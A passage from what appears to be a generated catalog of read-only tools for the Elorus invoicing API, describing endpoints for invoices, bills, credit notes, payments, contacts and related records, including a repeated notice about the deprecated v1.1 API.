the v1.2 tool for the same resource where one exists. Read one invoice by id -- a sales invoice issued to a client -- including the nested detail a listing omits via GET /v1.1/invoices/{id}/ GET /api/v1/elorus/v1.1/invoices/{id}. Scopes: api. elorus_get_v1_1_invoices_by_id_email (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Read the email Elorus WOULD send for one invoice -- a sales invoice issued to a client -- its recipients, subject and body, resolved from the organization's email template. Nothing is sent: this is the dry run for the POST tool on the same path via GET /v1.1/invoices/{id}/email/ GET /api/v1/elorus/v1.1/invoices/{id}/email. Scopes: api. elorus_get_v1_1_invoices_by_id_pdf (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Render one invoice -- a sales invoice issued to a client -- to PDF using the organization's document template. Elorus answers a redirect to the generated file, which this integration follows because the method is safe via GET /v1.1/invoices/{id}/pdf/ GET /api/v1/elorus/v1.1/invoices/{id}/pdf. Scopes: api. elorus_get_v1_1_invoices_by_parent_pk_applied_credit (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. List the credit-note or supplier-credit amounts already applied against one invoice -- a sales invoice issued to a client -- with each application's id and amount via GET /v1.1/invoices/{parent_pk}/applied-credit/ GET /api/v1/elorus/v1.1/invoices/{parent_pk}/applied-credit. Scopes: api. elorus_get_v1_1_numberingsequence (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. List this organization's numbering sequences -- the counter Elorus draws document numbers from -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.1/numberingsequence/ GET /api/v1/elorus/v1.1/numberingsequence. Scopes: api. elorus_get_v1_1_numberingsequence_by_id (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Read one numbering sequence by id -- the counter Elorus draws document numbers from -- including the nested detail a listing omits via GET /v1.1/numberingsequence/{id}/ GET /api/v1/elorus/v1.1/numberingsequence/{id}. Scopes: api. elorus_get_v1_1_paymentgateways (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. List this organization's payment gateways -- an online payment method configured for this organization -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.1/paymentgateways/ GET /api/v1/elorus/v1.1/paymentgateways. Scopes: api. elorus_get_v1_1_products (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. List this organization's products -- a product or service line item, with its price and stock -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` Elorus also filters this listing by tracking category with a `tc_` query parameter, which is NOT offered here: its name embeds the id of one of your own tracking categories, so it is a family of parameter names rather than one parameter, and no fixed tool argument can express it. via GET /v1.1/products/ GET /api/v1/elorus/v1.1/products. Scopes: api. elorus_get_v1_1_products_by_id (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Read one product by id -- a product or service line item, with its price and stock -- including the nested detail a listing omits via GET /v1.1/products/{id}/ GET /api/v1/elorus/v1.1/products/{id}. Scopes: api. elorus_get_v1_1_projects (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. List this organization's projects -- a billable engagement that time entries and expenses hang off -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.1/projects/ GET /api/v1/elorus/v1.1/projects. Scopes: api. elorus_get_v1_1_projects_by_id (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Read one project by id -- a billable engagement that time entries and expenses hang off -- including the nested detail a listing omits via GET /v1.1/projects/{id}/ GET /api/v1/elorus/v1.1/projects/{id}. Scopes: api. elorus_get_v1_1_recurringinvoices (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. List this organization's recurring invoices -- the schedule Elorus issues repeating invoices from -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` Elorus also filters this listing by tracking category with a `tc_` query parameter, which is NOT offered here: its name embeds the id of one of your own tracking categories, so it is a family of parameter names rather than one parameter, and no fixed tool argument can express it. via GET /v1.1/recurringinvoices/ GET /api/v1/elorus/v1.1/recurringinvoices. Scopes: api. elorus_get_v1_1_recurringinvoices_by_id (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Read one recurring invoice by id -- the schedule Elorus issues repeating invoices from -- including the nested detail a listing omits via GET /v1.1/recurringinvoices/{id}/ GET /api/v1/elorus/v1.1/recurringinvoices/{id}. Scopes: api. elorus_get_v1_1_suppliercredits (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. List this organization's supplier credits -- credit received FROM a supplier, which can then be applied against bills -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` Elorus also filters this listing by tracking category with a `tc_` query parameter, which is NOT offered here: its name embeds the id of one of your own tracking categories, so it is a family of parameter names rather than one parameter, and no fixed tool argument can express it. via GET /v1.1/suppliercredits/ GET /api/v1/elorus/v1.1/suppliercredits. Scopes: api. elorus_get_v1_1_suppliercredits_by_id (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Read one supplier credit by id -- credit received FROM a supplier, which can then be applied against bills -- including the nested detail a listing omits via GET /v1.1/suppliercredits/{id}/ GET /api/v1/elorus/v1.1/suppliercredits/{id}. Scopes: api. elorus_get_v1_1_suppliercredits_by_id_email (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Read the email Elorus WOULD send for one supplier credit -- credit received FROM a supplier, which can then be applied against bills -- its recipients, subject and body, resolved from the organization's email template. Nothing is sent: this is the dry run for the POST tool on the same path via GET /v1.1/suppliercredits/{id}/email/ GET /api/v1/elorus/v1.1/suppliercredits/{id}/email. Scopes: api. elorus_get_v1_1_suppliercredits_by_id_pdf (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Render one supplier credit -- credit received FROM a supplier, which can then be applied against bills -- to PDF using the organization's document template. Elorus answers a redirect to the generated file, which this integration follows because the method is safe via GET /v1.1/suppliercredits/{id}/pdf/ GET /api/v1/elorus/v1.1/suppliercredits/{id}/pdf. Scopes: api. elorus_get_v1_1_suppliercredits_by_parent_pk_applied_credit (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. List the credit-note or supplier-credit amounts already applied against one supplier credit -- credit received FROM a supplier, which can then be applied against bills -- with each application's id and amount via GET /v1.1/suppliercredits/{parent_pk}/applied-credit/ GET /api/v1/elorus/v1.1/suppliercredits/{parent_pk}/applied-credit. Scopes: api. elorus_get_v1_1_taxes (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. List this organization's taxes -- a tax rate available on document lines -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.1/taxes/ GET /api/v1/elorus/v1.1/taxes. Scopes: api. elorus_get_v1_1_taxes_by_id (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Read one tax by id -- a tax rate available on document lines -- including the nested detail a listing omits via GET /v1.1/taxes/{id}/ GET /api/v1/elorus/v1.1/taxes/{id}. Scopes: api. elorus_get_v1_1_templates (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. List this organization's document templates -- the print/PDF layout a document is rendered with -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.1/templates/ GET /api/v1/elorus/v1.1/templates. Scopes: api. elorus_get_v1_1_templates_by_id (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Read one document template by id -- the print/PDF layout a document is rendered with -- including the nested detail a listing omits via GET /v1.1/templates/{id}/ GET /api/v1/elorus/v1.1/templates/{id}. Scopes: api. elorus_get_v1_1_trackingcategories (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. List this organization's tracking categories -- a reporting dimension documents can be tagged with -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.1/trackingcategories/ GET /api/v1/elorus/v1.1/trackingcategories. Scopes: api. elorus_get_v1_1_trackingcategories_by_id (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Read one tracking category by id -- a reporting dimension documents can be tagged with -- including the nested detail a listing omits via GET /v1.1/trackingcategories/{id}/ GET /api/v1/elorus/v1.1/trackingcategories/{id}. Scopes: api. elorus_get_v1_2_bills (read) — List this organization's bills -- a purchase invoice a supplier issued to this organization -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` Elorus also filters this listing by tracking category with a `tc_` query parameter, which is NOT offered here: its name embeds the id of one of your own tracking categories, so it is a family of parameter names rather than one parameter, and no fixed tool argument can express it. via GET /v1.2/bills/ GET /api/v1/elorus/v1.2/bills. Scopes: api. elorus_get_v1_2_bills_by_id (read) — Read one bill by id -- a purchase invoice a supplier issued to this organization -- including the nested detail a listing omits via GET /v1.2/bills/{id}/ GET /api/v1/elorus/v1.2/bills/{id}. Scopes: api. elorus_get_v1_2_bills_by_id_email (read) — Read the email Elorus WOULD send for one bill -- a purchase invoice a supplier issued to this organization -- its recipients, subject and body, resolved from the organization's email template. Nothing is sent: this is the dry run for the POST tool on the same path via GET /v1.2/bills/{id}/email/ GET /api/v1/elorus/v1.2/bills/{id}/email. Scopes: api. elorus_get_v1_2_bills_by_id_pdf (read) — Render one bill -- a purchase invoice a supplier issued to this organization -- to PDF using the organization's document template. Elorus answers a redirect to the generated file, which this integration follows because the method is safe via GET /v1.2/bills/{id}/pdf/ GET /api/v1/elorus/v1.2/bills/{id}/pdf. Scopes: api. elorus_get_v1_2_bills_by_parent_pk_attachments (read) — List the files attached to one bill -- a purchase invoice a supplier issued to this organization -- with each attachment's id, filename and metadata. UPLOADING an attachment is not offered by this integration: Elorus takes it as a multipart body, which the ledger marks `blocked_unsupported` for want of a bounded artifact transport via GET /v1.2/bills/{parent_pk}/attachments/ GET /api/v1/elorus/v1.2/bills/{parent_pk}/attachments. Scopes: api. elorus_get_v1_2_bills_by_parent_pk_attachments_by_id (read) — Read one attachment's record on a bill -- a purchase invoice a supplier issued to this organization -- its filename, size and metadata. The bytes come from the separate file tool via GET /v1.2/bills/{parent_pk}/attachments/{id}/ GET /api/v1/elorus/v1.2/bills/{parent_pk}/attachments/{id}. Scopes: api. elorus_get_v1_2_bills_by_parent_pk_attachments_by_id_file (read) — Fetch the stored FILE of one attachment on a bill -- a purchase invoice a supplier issued to this organization. Elorus answers 307 with a redirect to the file, which this integration follows because the method is safe; the reply is the file's own bytes rather than JSON via GET /v1.2/bills/{parent_pk}/attachments/{id}/file/ GET /api/v1/elorus/v1.2/bills/{parent_pk}/attachments/{id}/file. Scopes: api. elorus_get_v1_2_bills_by_parent_pk_notes (read) — List the internal notes on one bill -- a purchase invoice a supplier issued to this organization. Notes are private to the organization: they are not printed on the document and not sent to the contact via GET /v1.2/bills/{parent_pk}/notes/ GET /api/v1/elorus/v1.2/bills/{parent_pk}/notes. Scopes: api. elorus_get_v1_2_bills_by_parent_pk_sent_email_messages (read) — List the emails Elorus has already sent for one bill -- a purchase invoice a supplier issued to this organization -- with each message's recipients, timestamp and delivery state. Read-only history: this is where to look before emailing a document a second time via GET /v1.2/bills/{parent_pk}/sent-email-messages/ GET /api/v1/elorus/v1.2/bills/{parent_pk}/sent-email-messages. Scopes: api. elorus_get_v1_2_cashpayments (read) — List this organization's cash payments -- money paid OUT, against a bill or a supplier -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` Elorus also filters this listing by tracking category with a `tc_` query parameter, which is NOT offered here: its name embeds the id of one of your own tracking categories, so it is a family of parameter names rather than one parameter, and no fixed tool argument can express it. via GET /v1.2/cashpayments/ GET /api/v1/elorus/v1.2/cashpayments. Scopes: api. elorus_get_v1_2_cashpayments_by_id (read) — Read one cash payment by id -- money paid OUT, against a bill or a supplier -- including the nested detail a listing omits via GET /v1.2/cashpayments/{id}/ GET /api/v1/elorus/v1.2/cashpayments/{id}. Scopes: api. elorus_get_v1_2_cashpayments_by_id_pdf (read) — Render one cash payment -- money paid OUT, against a bill or a supplier -- to PDF using the organization's document template. Elorus answers a redirect to the generated file, which this integration follows because the method is safe via GET /v1.2/cashpayments/{id}/pdf/ GET /api/v1/elorus/v1.2/cashpayments/{id}/pdf. Scopes: api. elorus_get_v1_2_cashpayments_by_parent_pk_attachments (read) — List the files attached to one cash payment -- money paid OUT, against a bill or a supplier -- with each attachment's id, filename and metadata. UPLOADING an attachment is not offered by this integration: Elorus takes it as a multipart body, which the ledger marks `blocked_unsupported` for want of a bounded artifact transport via GET /v1.2/cashpayments/{parent_pk}/attachments/ GET /api/v1/elorus/v1.2/cashpayments/{parent_pk}/attachments. Scopes: api. elorus_get_v1_2_cashpayments_by_parent_pk_attachments_by_id (read) — Read one attachment's record on a cash payment -- money paid OUT, against a bill or a supplier -- its filename, size and metadata. The bytes come from the separate file tool via GET /v1.2/cashpayments/{parent_pk}/attachments/{id}/ GET /api/v1/elorus/v1.2/cashpayments/{parent_pk}/attachments/{id}. Scopes: api. elorus_get_v1_2_cashpayments_by_parent_pk_attachments_by_id_file (read) — Fetch the stored FILE of one attachment on a cash payment -- money paid OUT, against a bill or a supplier. Elorus answers 307 with a redirect to the file, which this integration follows because the method is safe; the reply is the file's own bytes rather than JSON via GET /v1.2/cashpayments/{parent_pk}/attachments/{id}/file/ GET /api/v1/elorus/v1.2/cashpayments/{parent_pk}/attachments/{id}/file. Scopes: api. elorus_get_v1_2_cashpayments_by_parent_pk_notes (read) — List the internal notes on one cash payment -- money paid OUT, against a bill or a supplier. Notes are private to the organization: they are not printed on the document and not sent to the contact via GET /v1.2/cashpayments/{parent_pk}/notes/ GET /api/v1/elorus/v1.2/cashpayments/{parent_pk}/notes. Scopes: api. elorus_get_v1_2_cashreceipts (read) — List this organization's cash receipts -- money taken IN, against an invoice or a client -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` Elorus also filters this listing by tracking category with a `tc_` query parameter, which is NOT offered here: its name embeds the id of one of your own tracking categories, so it is a family of parameter names rather than one parameter, and no fixed tool argument can express it. via GET /v1.2/cashreceipts/ GET /api/v1/elorus/v1.2/cashreceipts. Scopes: api. elorus_get_v1_2_cashreceipts_by_id (read) — Read one cash receipt by id -- money taken IN, against an invoice or a client -- including the nested detail a listing omits via GET /v1.2/cashreceipts/{id}/ GET /api/v1/elorus/v1.2/cashreceipts/{id}. Scopes: api. elorus_get_v1_2_cashreceipts_by_id_pdf (read) — Render one cash receipt -- money taken IN, against an invoice or a client -- to PDF using the organization's document template. Elorus answers a redirect to the generated file, which this integration follows because the method is safe via GET /v1.2/cashreceipts/{id}/pdf/ GET /api/v1/elorus/v1.2/cashreceipts/{id}/pdf. Scopes: api. elorus_get_v1_2_cashreceipts_by_parent_pk_attachments (read) — List the files attached to one cash receipt -- money taken IN, against an invoice or a client -- with each attachment's id, filename and metadata. UPLOADING an attachment is not offered by this integration: Elorus takes it as a multipart body, which the ledger marks `blocked_unsupported` for want of a bounded artifact transport via GET /v1.2/cashreceipts/{parent_pk}/attachments/ GET /api/v1/elorus/v1.2/cashreceipts/{parent_pk}/attachments. Scopes: api. elorus_get_v1_2_cashreceipts_by_parent_pk_attachments_by_id (read) — Read one attachment's record on a cash receipt -- money taken IN, against an invoice or a client -- its filename, size and metadata. The bytes come from the separate file tool via GET /v1.2/cashreceipts/{parent_pk}/attachments/{id}/ GET /api/v1/elorus/v1.2/cashreceipts/{parent_pk}/attachments/{id}. Scopes: api. elorus_get_v1_2_cashreceipts_by_parent_pk_attachments_by_id_file (read) — Fetch the stored FILE of one attachment on a cash receipt -- money taken IN, against an invoice or a client. Elorus answers 307 with a redirect to the file, which this integration follows because the method is safe; the reply is the file's own bytes rather than JSON via GET /v1.2/cashreceipts/{parent_pk}/attachments/{id}/file/ GET /api/v1/elorus/v1.2/cashreceipts/{parent_pk}/attachments/{id}/file. Scopes: api. elorus_get_v1_2_cashreceipts_by_parent_pk_notes (read) — List the internal notes on one cash receipt -- money taken IN, against an invoice or a client. Notes are private to the organization: they are not printed on the document and not sent to the contact via GET /v1.2/cashreceipts/{parent_pk}/notes/ GET /api/v1/elorus/v1.2/cashreceipts/{parent_pk}/notes. Scopes: api. elorus_get_v1_2_contacts (read) — List this organization's contacts -- a client or supplier, with its billing and shipping addresses -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` Elorus also filters this listing by tracking category with a `tc_` query parameter, which is NOT offered here: its name embeds the id of one of your own tracking categories, so it is a family of parameter names rather than one parameter, and no fixed tool argument can express it. via GET /v1.2/contacts/ GET /api/v1/elorus/v1.2/contacts. Scopes: api. elorus_get_v1_2_contacts_by_id (read) — Read one contact by id -- a client or supplier, with its billing and shipping addresses -- including the nested detail a listing omits via GET /v1.2/contacts/{id}/ GET /api/v1/elorus/v1.2/contacts/{id}. Scopes: api. elorus_get_v1_2_contacts_by_parent_pk_attachments (read) — List the files attached to one contact -- a client or supplier, with its billing and shipping addresses -- with each attachment's id, filename and metadata. UPLOADING an attachment is not offered by this integration: Elorus takes it as a multipart body, which the ledger marks `blocked_unsupported` for want of a bounded artifact transport via GET /v1.2/contacts/{parent_pk}/attachments/ GET /api/v1/elorus/v1.2/contacts/{parent_pk}/attachments. Scopes: api. elorus_get_v1_2_contacts_by_parent_pk_attachments_by_id (read) — Read one attachment's record on a contact -- a client or supplier, with its billing and shipping addresses -- its filename, size and metadata. The bytes come from the separate file tool via GET /v1.2/contacts/{parent_pk}/attachments/{id}/ GET /api/v1/elorus/v1.2/contacts/{parent_pk}/attachments/{id}. Scopes: api. elorus_get_v1_2_contacts_by_parent_pk_attachments_by_id_file (read) — Fetch the stored FILE of one attachment on a contact -- a client or supplier, with its billing and shipping addresses. Elorus answers 307 with a redirect to the file, which this integration follows because the method is safe; the reply is the file's own bytes rather than JSON via GET /v1.2/contacts/{parent_pk}/attachments/{id}/file/ GET /api/v1/elorus/v1.2/contacts/{parent_pk}/attachments/{id}/file. Scopes: api. elorus_get_v1_2_contacts_by_parent_pk_notes (read) — List the internal notes on one contact -- a client or supplier, with its billing and shipping addresses. Notes are private to the organization: they are not printed on the document and not sent to the contact via GET /v1.2/contacts/{parent_pk}/notes/ GET /api/v1/elorus/v1.2/contacts/{parent_pk}/notes. Scopes: api. elorus_get_v1_2_creditnotes (read) — List this organization's credit notes -- credit issued TO a client, which can then be applied against invoices -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` Elorus also filters this listing by tracking category with a `tc_` query parameter, which is NOT offered here: its name embeds the id of one of your own tracking categories, so it is a family of parameter names rather than one parameter, and no fixed tool argument can express it. via GET /v1.2/creditnotes/ GET /api/v1/elorus/v1.2/creditnotes. Scopes: api. elorus_get_v1_2_creditnotes_by_id (read) — Read one credit note by id -- credit issued TO a client, which can then be applied against invoices -- including the nested detail a listing omits via GET /v1.2/creditnotes/{id}/ GET /api/v1/elorus/v1.2/creditnotes/{id}. Scopes: api. elorus_get_v1_2_creditnotes_by_id_email (read) — Read the email Elorus WOULD send for one credit note -- credit issued TO a client, which can then be applied against invoices -- its recipients, subject and body, resolved from the organization's email template. Nothing is sent: this is the dry run for the POST tool on the same path via GET /v1.2/creditnotes/{id}/email/ GET /api/v1/elorus/v1.2/creditnotes/{id}/email. Scopes: api. elorus_get_v1_2_creditnotes_by_id_pdf (read) — Render one credit note -- credit issued TO a client, which can then be applied against invoices -- to PDF using the organization's document template. Elorus answers a redirect to the generated file, which this integration follows because the method is safe via GET /v1.2/creditnotes/{id}/pdf/ GET /api/v1/elorus/v1.2/creditnotes/{id}/pdf. Scopes: api. elorus_get_v1_2_creditnotes_by_parent_pk_applied_credit (read) — List the credit-note or supplier-credit amounts already applied against one credit note -- credit issued TO a client, which can then be applied against invoices -- with each application's id and amount via GET /v1.2/creditnotes/{parent_pk}/applied-credit/ GET /api/v1/elorus/v1.2/creditnotes/{parent_pk}/applied-credit. Scopes: api. elorus_get_v1_2_creditnotes_by_parent_pk_attachments (read) — List the files attached to one credit note -- credit issued TO a client, which can then be applied against invoices -- with each attachment's id, filename and metadata. UPLOADING an attachment is not offered by this integration: Elorus takes it as a multipart body, which the ledger marks `blocked_unsupported` for want of a bounded artifact transport via GET /v1.2/creditnotes/{parent_pk}/attachments/ GET /api/v1/elorus/v1.2/creditnotes/{parent_pk}/attachments. Scopes: api. elorus_get_v1_2_creditnotes_by_parent_pk_attachments_by_id (read) — Read one attachment's record on a credit note -- credit issued TO a client, which can then be applied against invoices -- its filename, size and metadata. The bytes come from the separate file tool via GET /v1.2/creditnotes/{parent_pk}/attachments/{id}/ GET /api/v1/elorus/v1.2/creditnotes/{parent_pk}/attachments/{id}. Scopes: api. elorus_get_v1_2_creditnotes_by_parent_pk_attachments_by_id_file (read) — Fetch the stored FILE of one attachment on a credit note -- credit issued TO a client, which can then be applied against invoices. Elorus answers 307 with a redirect to the file, which this integration follows because the method is safe; the reply is the file's own bytes rather than JSON via GET /v1.2/creditnotes/{parent_pk}/attachments/{id}/file/ GET /api/v1/elorus/v1.2/creditnotes/{parent_pk}/attachments/{id}/file. Scopes: api. elorus_get_v1_2_creditnotes_by_parent_pk_discussions (read) — List the client-facing discussion thread on one credit note -- credit issued TO a client, which can then be applied against invoices. Unlike a note, a discussion message IS visible to the contact on the document's public page via GET /v1.2/creditnotes/{parent_pk}/discussions/ GET /api/v1/elorus/v1.2/creditnotes/{parent_pk}/discussions. Scopes: api. elorus_get_v1_2_creditnotes_by_parent_pk_notes (read) — List the internal notes on one credit note -- credit issued TO a client, which can then be applied against invoices. Notes are private to the organization: they are not printed on the document and not sent to the contact via GET /v1.2/creditnotes/{parent_pk}/notes/ GET /api/v1/elorus/v1.2/creditnotes/{parent_pk}/notes. Scopes: api. elorus_get_v1_2_creditnotes_by_parent_pk_sent_email_messages (read) — List the emails Elorus has already sent for one credit note -- credit issued TO a client, which can then be applied against invoices -- with each message's recipients, timestamp and delivery state. Read-only history: this is where to look before emailing a document a second time via GET /v1.2/creditnotes/{parent_pk}/sent-email-messages/ GET /api/v1/elorus/v1.2/creditnotes/{parent_pk}/sent-email-messages. Scopes: api. elorus_get_v1_2_deliverynotes (read) — List this organization's delivery notes -- a despatch document for goods sent to a client -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.2/deliverynotes/ GET /api/v1/elorus/v1.2/deliverynotes. Scopes: api. elorus_get_v1_2_deliverynotes_by_id (read) — Read one delivery note by id -- a despatch document for goods sent to a client -- including the nested detail a listing omits via GET /v1.2/deliverynotes/{id}/ GET /api/v1/elorus/v1.2/deliverynotes/{id}. Scopes: api. elorus_get_v1_2_deliverynotes_by_id_email (read) — Read the email Elorus WOULD send for one delivery note -- a despatch document for goods sent to a client -- its recipients, subject and body, resolved from the organization's email template. Nothing is sent: this is the dry run for the POST tool on the same path via GET /v1.2/deliverynotes/{id}/email/ GET /api/v1/elorus/v1.2/deliverynotes/{id}/email. Scopes: api. elorus_get_v1_2_deliverynotes_by_id_pdf (read) — Render one delivery note -- a despatch document for goods sent to a client -- to PDF using the organization's document template. Elorus answers a redirect to the generated file, which this integration follows because the method is safe via GET /v1.2/deliverynotes/{id}/pdf/ GET /api/v1/elorus/v1.2/deliverynotes/{id}/pdf. Scopes: api. elorus_get_v1_2_deliverynotes_by_parent_pk_attachments (read) — List the files attached to one delivery note -- a despatch document for goods sent to a client -- with each attachment's id, filename and metadata. UPLOADING an attachment is not offered by this integration: Elorus takes it as a multipart body, which the ledger marks `blocked_unsupported` for want of a bounded artifact transport via GET /v1.2/deliverynotes/{parent_pk}/attachments/ GET /api/v1/elorus/v1.2/deliverynotes/{parent_pk}/attachments. Scopes: api. elorus_get_v1_2_deliverynotes_by_parent_pk_attachments_by_id (read) — Read one attachment's record on a delivery note -- a despatch document for goods sent to a client -- its filename, size and metadata. The bytes come from the separate file tool via GET /v1.2/deliverynotes/{parent_pk}/attachments/{id}/ GET /api/v1/elorus/v1.2/deliverynotes/{parent_pk}/attachments/{id}. Scopes: api. elorus_get_v1_2_deliverynotes_by_parent_pk_attachments_by_id_file (read) — Fetch the stored FILE of one attachment on a delivery note -- a despatch document for goods sent to a client. Elorus answers 307 with a redirect to the file, which this integration follows because the method is safe; the reply is the file's own bytes rather than JSON via GET /v1.2/deliverynotes/{parent_pk}/attachments/{id}/file/ GET /api/v1/elorus/v1.2/deliverynotes/{parent_pk}/attachments/{id}/file. Scopes: api. elorus_get_v1_2_deliverynotes_by_parent_pk_notes (read) — List the internal notes on one delivery note -- a despatch document for goods sent to a client. Notes are private to the organization: they are not printed on the document and not sent to the contact via GET /v1.2/deliverynotes/{parent_pk}/notes/ GET /api/v1/elorus/v1.2/deliverynotes/{parent_pk}/notes. Scopes: api. elorus_get_v1_2_deliverynotes_by_parent_pk_sent_email_messages (read) — List the emails Elorus has already sent for one delivery note -- a despatch document for goods sent to a client -- with each message's recipients, timestamp and delivery state. Read-only history: this is where to look before emailing a document a second time via GET /v1.2/deliverynotes/{parent_pk}/sent-email-messages/ GET /api/v1/elorus/v1.2/deliverynotes/{parent_pk}/sent-email-messages. Scopes: api. elorus_get_v1_2_documenttypes (read) — List this organization's document types -- one of the organization's document kinds, which owns its own numbering sequences -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.2/documenttypes/ GET /api/v1/elorus/v1.2/documenttypes. Scopes: api. elorus_get_v1_2_documenttypes_by_id (read) — Read one document type by id -- one of the organization's document kinds, which owns its own 